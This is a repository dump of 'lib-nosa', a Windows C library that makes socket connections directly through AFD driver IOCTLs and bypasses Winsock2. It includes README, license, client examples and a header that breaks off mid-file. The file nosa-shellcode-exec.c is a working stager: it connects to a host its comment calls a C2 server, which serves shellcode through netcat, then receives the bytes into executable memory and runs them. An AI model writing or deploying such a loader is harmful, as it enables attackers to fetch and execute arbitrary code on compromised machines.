├── CREDITS.txt ├── LICENSE ├── README.md ├── nosa-client-tcp.c ├── nosa-client-udp.c ├── nosa-shellcode-exec.c └── nosa.h /CREDITS.txt: -------------------------------------------------------------------------------- 1 | This file credits all the contributors of the lib-nosa project. 2 | 3 | Key developers 4 | ============== 5 | Alexa Da Cruz Souza (@w4fz5uck5) - alexa-at-viperx.io 6 | @crimsonskylark - https://github.com/crimsonskylark 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # lib-nosa ( No Socket API ) 2 | 3 | **lib-nosa** is a minimalist C library designed to facilitate socket connections through AFD driver IOCTL operations on Windows. By bypassing the traditional `winsock2.h -> (ws2_dll.dll)` header, **lib-nosa** directly interacts with the internal socket APIs of the AFD (Ancillary Function Driver for WinSock), offering developers a lightweight and low-level alternative for network programming. 4 | 5 | ## Features 6 | 7 | - Establishes (TCP, UDP, RAW) connections directly through AFD driver IOCTL calls, **bypassing** the standard Winsock2 interface. 8 | - Focuses on simplicity and performance, with a small footprint and no unnecessary dependencies. 9 | - Provides direct access to internal socket APIs, giving developers fine-grained control over network operations. 10 | - Avoids the overhead and abstraction of the Winsock2 API, making it ideal for performance-critical applications. 11 | 12 | ## Getting Started 13 | 14 | ### Prerequisites 15 | 16 | - Windows operating system (x64 Only) -> Windows Vista+ ~ Windows 10/11 17 | - C compiler (e.g., GCC, MSVC) 18 | 19 | ### Installation 20 | 21 | To use **lib-nosa** in your project, clone the repository and include the library files in your build process. 22 | 23 | ```bash 24 | git clone https://github.com/ViperXSecurity/lib-nosa 25 | 26 | [linux] 27 | 28 | sudo apt-get install gcc-mingw-w64-x86-64 29 | x86_64-w64-mingw32-gcc -o nosa-example.exe nosa-example.c 30 | 31 | [Windows] 32 | 33 | Install https://sourceforge.net/projects/mingw/ 34 | x86_64-w64-mingw32-gcc.exe -o nosa-example.exe nosa-example.c 35 | or 36 | Create a new project on Visual Studio 2019+ 37 | ``` 38 | 39 | ### APIs 40 | ```C 41 | NTSTATUS nosa_dns_lookup(HANDLE hSocket, const char* domain_name, DOMAIN_INFO* outBuffer) 42 | NTSTATUS nosa_connect(HANDLE* hSocket, char* host, int port, char* socketType) 43 | NTSTATUS nosa_send(HANDLE* hSocket, LPVOID packet_data, int packet_data_sz) 44 | NTSTATUS nosa_recv(HANDLE hSocket, LPVOID packet_data_received) 45 | ``` 46 | 47 | ### Key definitions (nosa.h) 48 | ```C 49 | //#define CURRENT_LOG_LEVEL 0 // uncomment to hide log informations 50 | #ifndef CURRENT_LOG_LEVEL < 1 51 | #define CURRENT_LOG_LEVEL LOG_LEVEL_DEBUG 52 | #endif 53 | <...> 54 | #define DNS_SERVER "8.8.8.8" 55 | #define DNS_PORT 53 56 | <...> 57 | #define MAX_RECV_BYTES 0x1000 58 | #define MAX_SENT_BYTES 0x1000 59 | ``` 60 | 61 | ### TODO 62 | - x86 AFD.sys driver connection. 63 | 64 | - ### (For bind connections) 65 | - nosa_listen() 66 | - nosa_accept() 67 | -------------------------------------------------------------------------------- /nosa-client-tcp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "nosa.h" 3 | 4 | int main() { 5 | // Powershell [TCP] Server 6 | /* 7 | # Create a TCP listener on port 8888 8 | $tcpListener = New - Object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Any, 8888) 9 | $tcpListener.Start() 10 | 11 | Write - Host "TCP Server is running on port 8888..." 12 | 13 | while ($true) { 14 | # Accept a TCP client connection 15 | $tcpClient = $tcpListener.AcceptTcpClient() 16 | $networkStream = $tcpClient.GetStream() 17 | 18 | # Buffer to read the incoming data 19 | $buffer = New - Object byte[] 1024 20 | $bytesRead = $networkStream.Read($buffer, 0, $buffer.Length) 21 | 22 | # Convert the received bytes to a string 23 | $receivedData = [System.Text.Encoding]::UTF8.GetString($buffer, 0, $bytesRead) 24 | 25 | # Get the remote client's IP address and port 26 | $remoteEndPoint = $tcpClient.Client.RemoteEndPoint 27 | Write - Host "Received: $receivedData from $remoteEndPoint" 28 | 29 | # Prepare and send the response 30 | $response = [System.Text.Encoding]::UTF8.GetBytes("0xdeadbeef !!") 31 | $networkStream.Write($response, 0, $response.Length) 32 | 33 | # Close the client connection 34 | $networkStream.Close() 35 | $tcpClient.Close() 36 | } 37 | */ 38 | 39 | HANDLE hSocket = NULL; 40 | char* socketType = "TCP"; // Protocol (TCP, UDP, RAW) 41 | char* host = "cloud.google.com"; // Target Host 42 | int port = 80; // Target port 43 | 44 | unsigned char pktPtr_send[MAX_SENT_BYTES] = { 0 }; // Craft our TCP packet request 45 | snprintf((char*)pktPtr_send, MAX_SENT_BYTES, "GET / HTTP/1.1\x0d\x0a\x0d\x0a", socketType); // Format the string and store it in pktPtr_send 46 | 47 | // Craft our send TCP packet request 48 | unsigned char pktPtr_resp[MAX_RECV_BYTES] = { 0 }; 49 | 50 | /* 51 | You can reuse the existing handle to perform iterative operations [request -> response]. 52 | After the handle is created for the first time, you can follow this steps: 53 | nosa_connect(); 54 | '-> while (1) { nosa_send(); nosa_recv(); } 55 | */ 56 | 57 | // Connect into remote host 58 | nosa_connect(&hSocket, host, port, socketType); 59 | // Send client packets 60 | nosa_send(&hSocket, pktPtr_send, sizeof(pktPtr_send)); 61 | printf("nosa_send() -> Request:\n"); 62 | hexdump(&pktPtr_send, 0x100); 63 | 64 | // Receive and print TCP packet response 65 | nosa_recv((HANDLE*)hSocket, pktPtr_resp); 66 | printf("nosa_recv() -> Response:\n"); 67 | hexdump(&pktPtr_resp, 0x100); 68 | 69 | // Close target socket 70 | if (hSocket) // close socket only in case hSocket != 0 71 | { 72 | afd_close(hSocket); 73 | } 74 | 75 | return 0; 76 | } 77 | -------------------------------------------------------------------------------- /nosa-client-udp.c: -------------------------------------------------------------------------------- 1 | #include "nosa.h" 2 | 3 | int main() { 4 | // Powershell [UDP] Server 5 | /* 6 | $udpClient = New-Object System.Net.Sockets.UdpClient(8888) 7 | 8 | while ($true) { 9 | $remoteEndPoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any, 0) 10 | $receivedBytes = $udpClient.Receive([ref]$remoteEndPoint) 11 | $receivedData = [System.Text.Encoding]::UTF8.GetString($receivedBytes) 12 | 13 | Write-Host "Received: $receivedData from $($remoteEndPoint.Address):$($remoteEndPoint.Port)" 14 | 15 | $response = [System.Text.Encoding]::UTF8.GetBytes("0xdeadbeef !!") 16 | $udpClient.Send($response, $response.Length, $remoteEndPoint) 17 | } 18 | */ 19 | 20 | HANDLE hSocket = NULL; 21 | char* socketType = "UDP"; // Protocol (TCP, UDP, RAW) 22 | char* host = "127.0.0.1"; // Target Host 23 | int port = 8888; // Target port 24 | 25 | unsigned char pktPtr_send[MAX_SENT_BYTES] = { 0 }; // Craft our TCP packet request 26 | snprintf((char*)pktPtr_send, MAX_SENT_BYTES, "HELLO FROM [%s]!", socketType); // Format the string and store it in pktPtr_send 27 | 28 | // Craft our send TCP packet request 29 | unsigned char pktPtr_resp[MAX_RECV_BYTES] = { 0 }; 30 | 31 | /* 32 | You can reuse the existing handle to perform iterative operations [request -> response]. 33 | After the handle is created for the first time, you can follow this steps: 34 | nosa_connect(); 35 | '-> while (1) { nosa_send(); nosa_recv(); } 36 | */ 37 | 38 | // Connect into remote host 39 | nosa_connect(&hSocket, host, port, socketType); 40 | 41 | while (1) 42 | { 43 | // Send client packets 44 | nosa_send(&hSocket, pktPtr_send, sizeof(pktPtr_send)); 45 | printf("nosa_send() -> Request:\n"); 46 | hexdump(&pktPtr_send, 0x100); 47 | 48 | // Receive and print TCP packet response 49 | nosa_recv((HANDLE*)hSocket, pktPtr_resp); 50 | printf("nosa_recv() -> Response:\n"); 51 | hexdump(&pktPtr_resp, 0x100); 52 | Sleep(1000); 53 | 54 | } 55 | 56 | // Close target socket 57 | if (hSocket) // close socket only in case hSocket != 0 58 | { 59 | afd_close(hSocket); 60 | } 61 | 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /nosa-shellcode-exec.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "nosa.h" 3 | 4 | int main() { 5 | 6 | // [ C2 Server ] 7 | // nc -lnvp 8888 < shellcode.bin 8 | 9 | HANDLE hSocket = NULL; 10 | char* socketType = "TCP"; // Protocol (TCP, UDP, RAW) 11 | char* host = "127.0.0.1"; // Target Host 12 | int port = 8888; // Target port 13 | 14 | unsigned char pktPtr_send[MAX_SENT_BYTES] = { 0 }; // Craft our TCP packet request 15 | snprintf((char*)pktPtr_send, MAX_SENT_BYTES, "PING!\n", socketType); // Format the string and store it in pktPtr_send 16 | 17 | // Allocate a virtual buffer for our shellcode (MUST TO BE NULL-FREE) 18 | LPVOID pktPtr_resp = VirtualAlloc(0, MAX_RECV_BYTES, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 19 | memset(pktPtr_resp, 0, MAX_RECV_BYTES); // clear our created vm alloc 20 | 21 | /* 22 | You can reuse the existing handle to perform iterative operations [request -> response]. 23 | After the handle is created for the first time, you can follow this steps: 24 | nosa_connect(); 25 | '-> while (1) { nosa_send(); nosa_recv(); } 26 | */ 27 | 28 | // Connect into remote host 29 | nosa_connect(&hSocket, host, port, socketType); 30 | // Send client packets 31 | nosa_send(&hSocket, pktPtr_send, sizeof(pktPtr_send)); 32 | printf("nosa_send() -> Request:\n"); 33 | hexdump(&pktPtr_send, 0x100); 34 | 35 | // Receive and print TCP packet response 36 | nosa_recv((HANDLE*)hSocket, pktPtr_resp); 37 | printf("nosa_recv() -> Response:\n"); 38 | 39 | hexdump(pktPtr_resp, 0x100); 40 | 41 | ((void(*)())pktPtr_resp)(); 42 | 43 | // Close the target socket 44 | if (hSocket) { 45 | afd_close(hSocket); 46 | } 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /nosa.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #ifndef LOG_H 4 | #define LOG_H 5 | 6 | // Logging levels 7 | #define LOG_LEVEL_DEBUG 1 8 | #define LOG_LEVEL_INFO 1 9 | #define LOG_LEVEL_WARN 2 10 | #define LOG_LEVEL_ERROR 3 11 | 12 | //#define CURRENT_LOG_LEVEL 0 13 | 14 | // Set the current log level 15 | #ifndef CURRENT_LOG_LEVEL < 1 16 | #define CURRENT_LOG_LEVEL LOG_LEVEL_DEBUG 17 | #endif 18 | 19 | // Macro to get the current time as a string 20 | #define GET_CURRENT_TIME_STR(buffer, size) \ 21 | do { \ 22 | SYSTEMTIME st; \ 23 | GetSystemTime(&st); \ 24 | snprintf(buffer, size, "%02d:%02d:%02d", \ 25 | st.wHour, st.wMinute, st.wSecond); \ 26 | } while (0) 27 | 28 | // Base logging macro, used by other macros 29 | #if CURRENT_LOG_LEVEL > 0 30 | #define LOG(level, level_str, format, ...) \ 31 | do { \ 32 | if (level >= CURRENT_LOG_LEVEL) { \ 33 | char time_str[16]; \ 34 | char *filename = strrchr(__FILE__, '\\'); \ 35 | GET_CURRENT_TIME_STR(time_str, sizeof(time_str)); \ 36 | fprintf(stderr, "[%s] %s:%s:%d: " format "\n\n", \ 37 | time_str, level_str, filename ? filename + 1 : __FILE__, __LINE__, ##__VA_ARGS__); \ 38 | } \ 39 | } while (0) 40 | #else 41 | #define LOG(level, level_str, format, ...) \ 42 | do { /* Logging disabled */ } while (0) 43 | #endif 44 | 45 | // Log macros for different levels 46 | #define LOG_DEBUG(format, ...) LOG(CURRENT_LOG_LEVEL, "DEBUG", format, ##__VA_ARGS__) 47 | #define LOG_INFO(format, ...) LOG(LOG_LEVEL_INFO, "INFO", format, ##__VA_ARGS__) 48 | #define LOG_WARN(format, ...) LOG(LOG_LEVEL_WARN, "WARN", format, ##__VA_ARGS__) 49 | #define LOG_ERROR(format, ...) LOG(LOG_LEVEL_ERROR, "ERROR", format, ##__VA_ARGS__) 50 | 51 | #endif // LOG_H 52 | 53 | #define Initializeobject_attributes(p, n, a, r, s) { \ 54 | (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ 55 | (p)->RootDirectory = r; \ 56 | (p)->Attributes = a; \ 57 | (p)->ObjectName = n; \ 58 | (p)->SecurityDescriptor = s; \ 59 | (p)->SecurityQualityOfService = NULL; \ 60 | } 61 | 62 | #pragma push(pack, 1) 63 | #pragma warning(push) 64 | #pragma warning(disable: _VCRUNTIME_DISABLED_WARNINGS) 65 | 66 | typedef signed char int8_t; 67 | typedef short int16_t; 68 | typedef int int32_t; 69 | typedef long long int64_t; 70 | typedef unsigned char uint8_t; 71 | typedef unsigned short uint16_t; 72 | typedef unsigned int uint32_t; 73 | typedef unsigned long long uint64_t; 74 | 75 | struct buffer_data_t 76 | { 77 | uint32_t Size; 78 | char _4[4]; 79 | int64_t VirtualAddress; 80 | int32_t pad; 81 | int32_t pad1; 82 | }; 83 | 84 | struct userbuf_t 85 | { 86 | struct buffer_data_t* buffer_data; 87 | int32_t num_buffers; 88 | int32_t field_c; 89 | uint32_t length; 90 | char _14[1]; 91 | uint8_t field_15; 92 | char _16[2]; 93 | }; 94 | 95 | #pragma push(pop) 96 | 97 | const GUID GUID_NULL = { 98 | 0x00000000, 0x0000, 0x0000, 99 | { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } }; 100 | 101 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 102 | 103 | #define SystemHandleInformation 0x10 104 | #define SystemHandleInformationSize 0x400000 105 | 106 | #define FILE_SUPERSEDE 0x0 107 | #define FILE_OPEN 0x1 108 | #define FILE_CREATE 0x2 109 | #define FILE_OPEN_IF 0x3 110 | #define FILE_OVERWRITE 0x4 111 | #define FILE_OVERWRITE_IF 0x5 112 | #define FILE_MAXIMUM_DISPOSITION 0x5 113 | 114 | #define OBJ_INHERIT 0x2L 115 | #define OBJ_PERMANENT 0x10L 116 | #define OBJ_EXCLUSIVE 0x20L 117 | #define OBJ_CASE_INSENSITIVE 0x40L 118 | #define OBJ_OPENIF 0x80L 119 | #define OBJ_OPENLINK 0x100L 120 | #define OBJ_KERNEL_HANDLE 0x200L 121 | #define OBJ_FORCE_ACCESS_CHECK 0x400L 122 | #define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x800L 123 | #define OBJ_DONT_REPARSE 0x1000L 124 | #define OBJ_VALID_ATTRIBUTES 0x1FF2L 125 | 126 | 127 | #define AFD_ENDPOINT_CONNECTIONLESS 0x1 128 | #define AFD_ENDPOINT_MESSAGE_ORIENTED 0x10 129 | #define AFD_ENDPOINT_RAW 0x100 130 | #define AFD_ENDPOINT_MULTIPOINT 0x1000 131 | #define AFD_ENDPOINT_C_ROOT 0x10000 132 | #define AFD_ENDPOINT_D_ROOT 0x100000 133 | 134 | #define TDI_RECEIVE_BROADCAST 0x4 135 | #define TDI_RECEIVE_MULTICAST 0x8 136 | #define TDI_RECEIVE_PARTIAL 0x10 137 | #define TDI_RECEIVE_NORMAL 0x20 138 | #define TDI_RECEIVE_EXPEDITED 0x40 139 | #define TDI_RECEIVE_PEEK 0x80 140 | #define TDI_RECEIVE_NO_RESPONSE_EXP 0x100 141 | #define TDI_RECEIVE_COPY_LOOKAHEAD 0x200 142 | #define TDI_RECEIVE_ENTIRE_MESSAGE 0x400 143 | #define TDI_RECEIVE_AT_DISPATCH_LEVEL 0x800 144 | #define TDI_RECEIVE_CONTROL_INFO 0x1000 145 | #define TDI_RECEIVE_FORCE_INDICATION 0x2000 146 | #define TDI_RECEIVE_NO_PUSH 0x4000 147 | 148 | #define MAX_PROTOCOL_CHAIN 7 149 | #define WSAPROTOCOL_LEN 255 150 | 151 | /* AFD SEND/RECV Flags */ 152 | #define AFD_SKIP_FIO 0x1L 153 | #define AFD_OVERLAPPED 0x2L 154 | #define AFD_IMMEDIATE 0x4L 155 | 156 | #define IOCTL_AFD_BIND 0x12003 157 | #define IOCTL_AFD_DOCONNECT 0x12007 158 | #define IOCTL_AFD_DOCONNECT_EX 0x120c7 159 | #define IOCTL_AFD_SEND 0x1201F 160 | #define IOCTL_AFD_SEND_DATAGRAM 0x12023 161 | #define IOCTL_AFD_RECV 0x12017 162 | #define IOCTL_AFD_RECV_DATAGRAM 0x1201b 163 | 164 | 165 | #define IOCTL_AFD_SET_CONTEXT 0x12047 166 | #define IOCTL_AFD_GET_CONTEXT 0x12043 167 | 168 | #define SOCK_CONTEXT_BUF_SIZE ( sizeof(SOCK_SHARED_INFO) + \ 169 | sizeof(GUID)+ \ 170 | sizeof(PVOID) + 8 + \ 171 | (2 * sizeof(SOCKADDR_STORAGE))) 172 | 173 | #define SOCK_CONTEXT_ADDR_SIZE (sizeof(SOCKADDR_STORAGE)) 174 | 175 | #define INADDR_ANY 0x00000000 176 | #define INADDR_LOOPBACK 0x7f000001 177 | #define INADDR_BROADCAST 0xffffffff 178 | #define INADDR_NONE 0xffffffff 179 | 180 | #define DNS_SERVER "8.8.8.8" 181 | #define DNS_PORT 53 182 | 183 | #define MAX_RECV_BYTES 0x1000 184 | #define MAX_SENT_BYTES 0x1000 185 | 186 | // Declare a global variable to store socket values 187 | char globalContext[MAX_SENT_BYTES] = { 0 }; 188 | char globalSocketType[3] = { 0 }; 189 | char globalRemoteAddr[16] = { 0 }; 190 | uint32_t globalRemotePort = 0; 191 | 192 | #pragma comment(lib, "ntdll.lib") 193 | 194 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO 195 | { 196 | USHORT UniqueProcessId; 197 | USHORT CreatorBackTraceIndex; 198 | UCHAR ObjectTypeIndex; 199 | UCHAR HandleAttributes; 200 | USHORT HandleValue; 201 | PVOID Object; 202 | ULONG GrantedAccess; 203 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 204 | 205 | typedef struct _SYSTEM_HANDLE_INFORMATION 206 | { 207 | ULONG NumberOfHandles; 208 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 209 | } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; 210 | 211 | typedef enum _EVENT_TYPE 212 | { 213 | NotificationEvent, 214 | SynchronizationEvent 215 | } EVENT_TYPE; 216 | 217 | typedef struct _CLIENT_ID 218 | { 219 | HANDLE UniqueProcess; 220 | HANDLE UniqueThread; 221 | } CLIENT_ID, * PCLIENT_ID; 222 | 223 | typedef struct _IO_STATUS_BLOCK 224 | { 225 | union 226 | { 227 | NTSTATUS Status; 228 | PVOID Pointer; 229 | }; 230 | 231 | ULONG_PTR Information; 232 | } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; 233 | 234 | typedef struct _UNICODE_STRING 235 | { 236 | USHORT Length; 237 | USHORT MaximumLength; 238 | PWSTR Buffer; 239 | } UNICODE_STRING, * PUNICODE_STRING; 240 | 241 | typedef struct _OBJECT_ATTRIBUTES 242 | { 243 | ULONG Length; 244 | HANDLE RootDirectory; 245 | PUNICODE_STRING ObjectName; 246 | ULONG Attributes; 247 | PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR 248 | PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE 249 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 250 | 251 | typedef struct _INITIAL_TEB 252 | { 253 | PVOID StackBase; 254 | PVOID StackLimit; 255 | PVOID StackAllocationBase; 256 | } INITIAL_TEB, * PINITIAL_TEB; 257 | 258 | typedef VOID(NTAPI* PIO_APC_ROUTINE)( 259 | PVOID ApcContext, 260 | PIO_STATUS_BLOCK IoStatusBlock, 261 | ULONG Reserved 262 | ); 263 | 264 | typedef struct _WSAPROTOCOLCHAIN 265 | { 266 | int ChainLen; /* the length of the chain, */ 267 | /* length = 0 means layered protocol, */ 268 | /* length = 1 means base protocol, */ 269 | /* length > 1 means protocol chain */ 270 | DWORD ChainEntries[MAX_PROTOCOL_CHAIN]; /* a list of dwCatalogEntryIds */ 271 | } WSAPROTOCOLCHAIN, * LPWSAPROTOCOLCHAIN; 272 | 273 | typedef struct _WSAPROTOCOL_INFOW 274 | { 275 | DWORD dwServiceFlags1; 276 | DWORD dwServiceFlags2; 277 | DWORD dwServiceFlags3; 278 | DWORD dwServiceFlags4; 279 | DWORD dwProviderFlags; 280 | GUID ProviderId; 281 | DWORD dwCatalogEntryId; 282 | WSAPROTOCOLCHAIN ProtocolChain; 283 | int iVersion; 284 | int iAddressFamily; 285 | int iMaxSockAddr; 286 | int iMinSockAddr; 287 | int iSocketType; 288 | int iProtocol; 289 | int iProtocolMaxOffset; 290 | int iNetworkByteOrder; 291 | int iSecurityScheme; 292 | DWORD dwMessageSize; 293 | DWORD dwProviderReserved; 294 | WCHAR szProtocol[WSAPROTOCOL_LEN + 1]; 295 | } WSAPROTOCOL_INFOW, * LPWSAPROTOCOL_INFOW; 296 | 297 | /** 298 | * Structure representing an AFD_CREATE_PACKET. 299 | * 300 | * This structure contains information related to creating an AFD packet. 301 | * It includes fields for various parameters such as NextEntryOffset, Flags, EaNameLength, EaValueLength, EaName, 302 | * EndpointFlags, GroupID, AddressFamily, SocketType, Protocol, SizeOfTransportName, and TransportName. 303 | */ 304 | 305 | // Define the AFD_CREATE_PACKET structure 306 | #pragma pack(push, 1) // Ensure tight packing 307 | typedef struct _AFD_CREATE_PACKET 308 | { 309 | uint32_t NextEntryOffset; 310 | uint8_t Flags; 311 | uint8_t EaNameLength; 312 | uint16_t EaValueLength; 313 | char EaName[16]; 314 | uint16_t unknown1; 315 | uint16_t EndpointFlags; 316 | uint32_t GroupID; 317 | uint32_t AddressFamily; 318 | uint32_t SocketType; 319 | uint32_t Protocol; 320 | uint64_t unknow2; 321 | uint64_t unknow3; 322 | uint32_t unknow4; 323 | } AFD_CREATE_PACKET; 324 | #pragma pack(pop) 325 | 326 | /** 327 | * 